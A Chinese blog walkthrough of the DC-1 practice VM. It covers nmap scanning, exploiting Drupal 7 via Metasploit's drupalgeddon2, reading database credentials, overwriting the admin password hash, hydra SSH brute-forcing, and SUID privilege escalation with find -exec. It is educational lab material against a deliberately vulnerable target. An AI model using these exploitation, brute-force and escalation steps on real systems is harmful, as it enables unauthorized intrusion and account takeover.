Dc-1靶机渗透
本文最后更新于527天前,其中的信息可能已经过时,如有错误请发送邮件到 encat@foxmail.com

靶场下载地址:链接:https://pan.baidu.com/s/1n99vDN5JBOIyLWwMPgnXKw
提取码:9g29

一 环境搭建

将靶场下载至本地解压

使用Vmware虚拟机打开.ova文件

打开文件时会出现导入失败错误,只需要点击重试即可

启动虚拟机之后将网络模式修改为NAT模式

本次实验使用kali Linux系统进行,启动kali虚拟机并把kali的网络模式也修改为NAT模式,至此环境搭建完成

二 信息收集

使用nmap对DC-1进行扫描

nmap -A -p- 192.168.163.1/24

-A:选定用于使用进攻性方式扫描
-p :指定端口(-p-表示全端口扫描 1-65535)

发现DC-1靶机开放了22端口、80端口、111端口、48437端口,先访问一下80端口运行的服务 http://192.168.163.240

三 漏洞分析

发现是Drupal CMS  接下来我们收集一下CMS的版本等信息   使用whatweb来探测CMS版本

发现该网站使用的CMS是Drupal 7 

我们打开msf,在msf中搜索漏洞 search drupal 7.x ,发现一个可以利用的攻击脚本

四 漏洞利用

使用此脚本(use exploit/unix/webapp/drupal_drupalgeddon2),再使用options查看此脚本需要配置的信息

只需要配置RHOSTS,使用set rhosts 192.168.163.240(DC-1的ip),设置完输入run,即可得到一个meterpreter >  键入shell命令 获取靶机系统的控制台shell

我们输入命令发现我们得到的是一个不完整的shell,所以使用python中的pty模块,进入ython交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

 

我们在/var/www目录下发现flag1

得到提示:任何一个完善的CMS都需要配置文件—所以你应该怎么做。

提示我们去找配置文件,这里没有技巧,就是挨个目录去找

最终我们发现在sites文件下有个default文件,里面发现一个配置文件 settings.php

我们查看一下settings.php

在其中找到flag2还有MySQL数据库的账号密码

我们查看一下靶机开放的端口果然发现了3306端口开放

使用此用户名密码,连接数据库。

mysql -udbuser -pR0ck3t;

连接成功之后,查看存在的数据库

mysql> show databases;

使用数据库,查看当前数据库drupaldb下的数据表

mysql> use drupaldb;
mysql> show tables;

在数据表中我们发现有个名为users的表,使用数据库查询语句,查询users表中的内容。

 select * from users\G;

 

在users表中,发现有admin用户,但是密码是加密过的,一般加密的密码是很难破解的,所以选择生成相同加密方式的密文将它替换掉

退出mysql,回到/var/www下执行以下代码,生成相同加密方式的密文

exit //退出mysql的shell
cd /var/www //回到网站目录
php scripts/password-hash.sh 设置要替换的密码
php scripts/password-hash.sh 123456

再次连接数据库,使用updata命令将admin的密码替换为刚生成的加密密文

update users set pass="$S$DUut/RX6gNACn1FdtJEs0kf0em1r5UzLewFoZ6twvSsJPOJvKX0r" where uid=1;

查询admin用户的密码看是否替换成功

接下来我们使用 admin/123456,登录网站

进入网站观察页面,点击左上角的Dashboard,发现flag3

查看flag3

根据flag3中提示 “去查看存放用户信息的文件和存放密码信息的文件”  查看/etc/shadow发现权限不够,查看etc/passwd,发现用户flag4,并且有/bin/bash,想到靶机开放端口22,所以想到使用ssh连接。

但是不知道flag4用户的密码

我们可以使用kali自带的hydra工具爆破ssh密码,使用kali自带的密码字典,路径为/usr/share/john/password.lst

新开一个终端,输入以下命令使用hydra爆破flag4 ssh密码

hydra -l flag4 -P /usr/share/john/password.lst 192.168.163.240 ssh -e nsr -f -vV

-l  指定一个用户名
-P  指定一个密码字典
   /--> n    null   空密码
-e ---> s    same   用户名密码相同
   \--> r    反向   密码为用户名反向(如 用户名:kali 密码:ilak)
-f  枚举到正确账号密码就停止爆破
-vV 显示爆破过程

爆破得到,DC-1用户名密码为:flag4/orange 的用户 使用ssh协议直接连接

 ssh flag4@192.168.163.240

在flag4用户家目录下,发现了flag4   根据提示,我们需要拿到root用户的权限,才能得到最终的flag。

这里使用suid提权,通过命令查看是否具有root权限的命令。

 find / -perm -4000 2>/dev/null

发现find命令具有root权限。执行命令提权。

flag4@DC-1:~$  mkdir Encat   \\创建一个Encat目录
flag4@DC-1:~$  find Encat -exec "whoami" \;   \\使用find命令在Encat目录中-exec查找“whoami”

经过测试 Encat目录可以省略  并且将“whoami”替换为“/bin/bash”不能成功提权    只能替换为“/bin/sh”  

 find -exec "/bin/sh" \;

通过执行命令,成功提权到root用户。切换到root目录下,找到最后的flag,thefinalflag.txt

 

完结 !!

《Dc-1靶机渗透》
觉得有帮助可以投喂下博主哦~感谢!
作者:Encat
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0协议。转载请注明文章地址及作者
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
颜文字
Emoji
小恐龙
花!
上一篇
下一篇